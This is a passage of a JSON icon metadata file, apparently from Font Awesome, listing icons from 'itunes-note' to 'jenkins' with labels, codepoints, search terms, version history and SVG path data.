        "path": "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z"
      }
    },
    "free": ["brands"]
  },
  "itunes-note": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b5",
    "label": "Itunes Note",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z"
      }
    },
    "free": ["brands"]
  },
  "j": {
    "aliases": {
      "unicodes": {
        "composite": ["6a"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter J", "Latin Small Letter J", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4a",
    "label": "J",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M288 32c17.7 0 32 14.3 32 32V320c0 88.4-71.6 160-160 160S0 408.4 0 320V288c0-17.7 14.3-32 32-32s32 14.3 32 32v32c0 53 43 96 96 96s96-43 96-96V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M288 32c17.7 0 32 14.3 32 32V320c0 88.4-71.6 160-160 160S0 408.4 0 320V288c0-17.7 14.3-32 32-32s32 14.3 32 32v32c0 53 43 96 96 96s96-43 96-96V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "jar": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["jam", "jelly", "storage"]
    },
    "styles": ["solid"],
    "unicode": "e516",
    "label": "Jar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm96 64c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm96 64c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H96z"
      }
    },
    "free": ["solid"]
  },
  "jar-wheat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flour", "storage"]
    },
    "styles": ["solid"],
    "unicode": "e517",
    "label": "Jar Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm112 0H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 198 90 224 122.2 224H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7zm48 117.7c-11.7-13.3-28.9-21.7-48-21.7H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 294 90 320 122.2 320H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7zM112 352H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 390 90 416 122.2 416H144v32c0 8.8 7.2 16 16 16s16-7.2 16-16V416h21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm112 0H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 198 90 224 122.2 224H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7zm48 117.7c-11.7-13.3-28.9-21.7-48-21.7H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 294 90 320 122.2 320H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7zM112 352H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 390 90 416 122.2 416H144v32c0 8.8 7.2 16 16 16s16-7.2 16-16V416h21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7z"
      }
    },
    "free": ["solid"]
  },
  "java": {
    "changes": ["5.0.10", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e4",
    "label": "Java",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"
      }
    },
    "free": ["brands"]
  },
  "jedi": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f669"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["crest", "force", "sith", "skywalker", "star wars", "yoda"]
    },
    "styles": ["solid"],
    "unicode": "f669",
    "label": "Jedi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M246 315.7l-21.2-31.9c-2.1-3.2-1.7-7.4 1-10.1s6.9-3.1 10.1-1l29.5 19.7c2.1 1.4 4.9 0 5-2.6L279.7 8c.1-4.5 3.8-8 8.3-8s8.1 3.5 8.3 8l9.4 281.9c.1 2.5 2.9 3.9 5 2.6l29.5-19.7c3.2-2.1 7.4-1.7 10.1 1s3.1 6.9 1 10.1L330 315.7c-1.3 1.9-.2 4.5 2 4.9l37.6 7.5c3.7 .7 6.4 4 6.4 7.8s-2.7 7.1-6.4 7.8L332 351.4c-2.2 .4-3.3 3-2 4.9l21.2 31.9c2.1 3.2 1.7 7.4-1 10.1s-6.9 3.1-10.1 1l-26.3-17.6c-2.2-1.4-5.1 .2-5 2.8l2.1 61.5C370.6 435.2 416 382.9 416 320c0-37-15.7-70.4-40.8-93.7c-7-6.5-6.5-18.6 1-24.4C410.1 175.5 432 134.3 432 88c0-16.8-2.9-33-8.2-48c-4.6-13 10.2-30 21.4-22c53.5 38 92.7 94.8 107.8 160.7c.5 2.1-.2 4.3-1.7 5.9l-28.4 28.4c-4 4-1.2 10.9 4.5 10.9h26c3.4 0 6.2 2.6 6.3 6c.1 3.3 .2 6.6 .2 10c0 17.5-1.7 34.7-4.8 51.3c-.2 1.2-.9 2.4-1.7 3.3l-46.5 46.5c-4 4-1.2 10.9 4.5 10.9H526c4.6 0 7.7 4.8 5.7 9C487.2 450.5 394.8 512 288 512S88.8 450.5 44.3 361c-2.1-4.2 1-9 5.7-9H64.5c5.7 0 8.6-6.9 4.5-10.9L22.6 294.6c-.9-.9-1.5-2-1.7-3.3C17.7 274.7 16 257.5 16 240c0-3.3 .1-6.7 .2-10c.1-3.4 2.9-6 6.3-6h26c5.7 0 8.6-6.9 4.5-10.9L24.6 184.6c-1.5-1.5-2.2-3.8-1.7-5.9C38.1 112.8 77.3 56 130.8 18c11.3-8 26 8.9 21.4 22c-5.3 15-8.2 31.2-8.2 48c0 46.3 21.9 87.5 55.8 113.9c7.5 5.8 8 17.9 1 24.4C175.7 249.6 160 283 160 320c0 62.9 45.4 115.2 105.1 126l2.1-61.5c.1-2.6-2.8-4.2-5-2.8l-26.3 17.6c-3.2 2.1-7.4 1.7-10.1-1s-3.1-6.9-1-10.1L246 356.3c1.3-1.9 .2-4.5-2-4.9l-37.6-7.5c-3.7-.7-6.4-4-6.4-7.8s2.7-7.1 6.4-7.8l37.6-7.5c2.2-.4 3.3-3 2-4.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M246 315.7l-21.2-31.9c-2.1-3.2-1.7-7.4 1-10.1s6.9-3.1 10.1-1l29.5 19.7c2.1 1.4 4.9 0 5-2.6L279.7 8c.1-4.5 3.8-8 8.3-8s8.1 3.5 8.3 8l9.4 281.9c.1 2.5 2.9 3.9 5 2.6l29.5-19.7c3.2-2.1 7.4-1.7 10.1 1s3.1 6.9 1 10.1L330 315.7c-1.3 1.9-.2 4.5 2 4.9l37.6 7.5c3.7 .7 6.4 4 6.4 7.8s-2.7 7.1-6.4 7.8L332 351.4c-2.2 .4-3.3 3-2 4.9l21.2 31.9c2.1 3.2 1.7 7.4-1 10.1s-6.9 3.1-10.1 1l-26.3-17.6c-2.2-1.4-5.1 .2-5 2.8l2.1 61.5C370.6 435.2 416 382.9 416 320c0-37-15.7-70.4-40.8-93.7c-7-6.5-6.5-18.6 1-24.4C410.1 175.5 432 134.3 432 88c0-16.8-2.9-33-8.2-48c-4.6-13 10.2-30 21.4-22c53.5 38 92.7 94.8 107.8 160.7c.5 2.1-.2 4.3-1.7 5.9l-28.4 28.4c-4 4-1.2 10.9 4.5 10.9h26c3.4 0 6.2 2.6 6.3 6c.1 3.3 .2 6.6 .2 10c0 17.5-1.7 34.7-4.8 51.3c-.2 1.2-.9 2.4-1.7 3.3l-46.5 46.5c-4 4-1.2 10.9 4.5 10.9H526c4.6 0 7.7 4.8 5.7 9C487.2 450.5 394.8 512 288 512S88.8 450.5 44.3 361c-2.1-4.2 1-9 5.7-9H64.5c5.7 0 8.6-6.9 4.5-10.9L22.6 294.6c-.9-.9-1.5-2-1.7-3.3C17.7 274.7 16 257.5 16 240c0-3.3 .1-6.7 .2-10c.1-3.4 2.9-6 6.3-6h26c5.7 0 8.6-6.9 4.5-10.9L24.6 184.6c-1.5-1.5-2.2-3.8-1.7-5.9C38.1 112.8 77.3 56 130.8 18c11.3-8 26 8.9 21.4 22c-5.3 15-8.2 31.2-8.2 48c0 46.3 21.9 87.5 55.8 113.9c7.5 5.8 8 17.9 1 24.4C175.7 249.6 160 283 160 320c0 62.9 45.4 115.2 105.1 126l2.1-61.5c.1-2.6-2.8-4.2-5-2.8l-26.3 17.6c-3.2 2.1-7.4 1.7-10.1-1s-3.1-6.9-1-10.1L246 356.3c1.3-1.9 .2-4.5-2-4.9l-37.6-7.5c-3.7-.7-6.4-4-6.4-7.8s2.7-7.1 6.4-7.8l37.6-7.5c2.2-.4 3.3-3 2-4.9z"
      }
    },
    "free": ["solid"]
  },
  "jedi-order": {
    "changes": ["5.0.12", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": ["star wars"]
    },
    "styles": ["brands"],
    "unicode": "f50e",
    "label": "Jedi Order",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z"
      }
    },
    "free": ["brands"]
  },
  "jenkins": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b6",
    "label": "Jenkis",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
